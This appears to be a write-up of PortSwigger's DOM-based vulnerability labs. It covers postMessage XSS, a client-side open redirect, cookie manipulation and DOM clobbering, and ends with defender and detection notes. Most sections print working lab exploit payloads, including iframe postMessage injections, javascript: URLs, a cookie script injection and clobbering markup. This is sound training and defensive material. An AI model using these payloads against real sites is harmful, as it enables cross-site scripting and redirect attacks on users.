DOM-based vulnerabilities are easy to miss in server-heavy reviews because the dangerous decision happens after the response is already in the browser.
The right model is:
DOM bugs are source-to-sink bugs in the browser runtime. The source may be a web message, location, a cookie, or the DOM itself. The sink may be innerHTML, location.href, an iframe src, or a sanitizer property that can be clobbered.
The seven PortSwigger DOM-based labs form a compact map.
The map
| Lab group | Source | Sink |
|---|---|---|
| web messages | postMessage |
HTML, URL, JSON-dispatched iframe src |
| open redirect | location regex |
location.href |
| cookie manipulation | product URL saved in cookie | homepage render |
| DOM clobbering | id/name in comments |
global object and DOM properties |
Web messages need both origin and schema checks
The first lab inserts message data into an ad container:
<iframe src="https://LAB/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
The second lab writes message data to location.href, after only checking that the string contains http: or https::
<iframe src="https://LAB/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
The third parses JSON and routes type=load-channel to an iframe src:
<iframe src=https://LAB/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
The common bug is not postMessage itself. It is accepting messages from any origin and letting fields reach dangerous sinks without schema and URL validation.
Client-side redirects are still redirects
The open redirect lab is entirely client-side. A Back to Blog link extracts url=https://... from location and assigns it to location.href:
https://LAB/post?postId=4&url=https://EXPLOIT/
This is still an open redirect. It can affect OAuth flows, phishing defenses, CSP navigation assumptions, and any feature that treats “same page first hop” as trustworthy.
Cookies are client-side input
The cookie manipulation lab saves the last viewed product URL in a cookie and later renders it on the homepage.
The exploit first visits a product URL with script-bearing data, then navigates the victim back home:
<iframe src="https://LAB/product?productId=1&'><script>print()</script>"
onload="if(!window.x)this.src='https://LAB';window.x=1;">
The server did not need to store the payload. The browser stored it in a cookie. That does not make it trusted.
DOM clobbering turns markup into state
The default-avatar lab uses a dangerous fallback:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
Comment markup can create window.defaultAvatar:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
Duplicate IDs create a collection; the named element becomes a property; the avatar value is then used as a URL. DOMPurify allowed cid:, and the quote is decoded at runtime.
The attribute-clobbering lab attacks the sanitizer integration:
<form id=x tabindex=0 onfocus=print()><input id=attributes>
The input id=attributes shadows the form’s attributes property. The filter’s attribute loop breaks, preserving onfocus. A delayed fragment navigation focuses the form:
<iframe src=https://LAB/post?postId=3
onload="setTimeout(()=>this.src=this.src+'#x',500)">
DOM clobbering is a reminder that IDs and names are not just labels. In browsers, they can become properties.
Defender notes
Review DOM code as a dataflow problem:
- list sources:
location,hash,postMessage, cookies, storage, DOM nodes; - list sinks: HTML, URL, script, iframe, redirect, sanitizer internals;
- verify
event.originand message schema before touchingevent.data; - use exact
targetOriginforpostMessage; - parse URLs with
new URL()and allowlist scheme, origin, and path; - treat cookies and storage as untrusted input;
- avoid
window.<id>globals and logical-OR fallbacks for security state; - harden sanitizer integrations against
id/nameclobbering.
Detection ideas:
- message listeners without origin checks;
event.dataflowing intoinnerHTML,location.href, iframesrc, oreval-like sinks;- client-side redirects controlled by
url=,return=, orredirect=; - cookies containing script fragments or malformed URLs;
- comments with duplicate IDs,
name=avatar,id=attributes, orcid:payloads.
The durable lesson is that browser runtime code is application code. It needs the same source-to-sink review as backend code.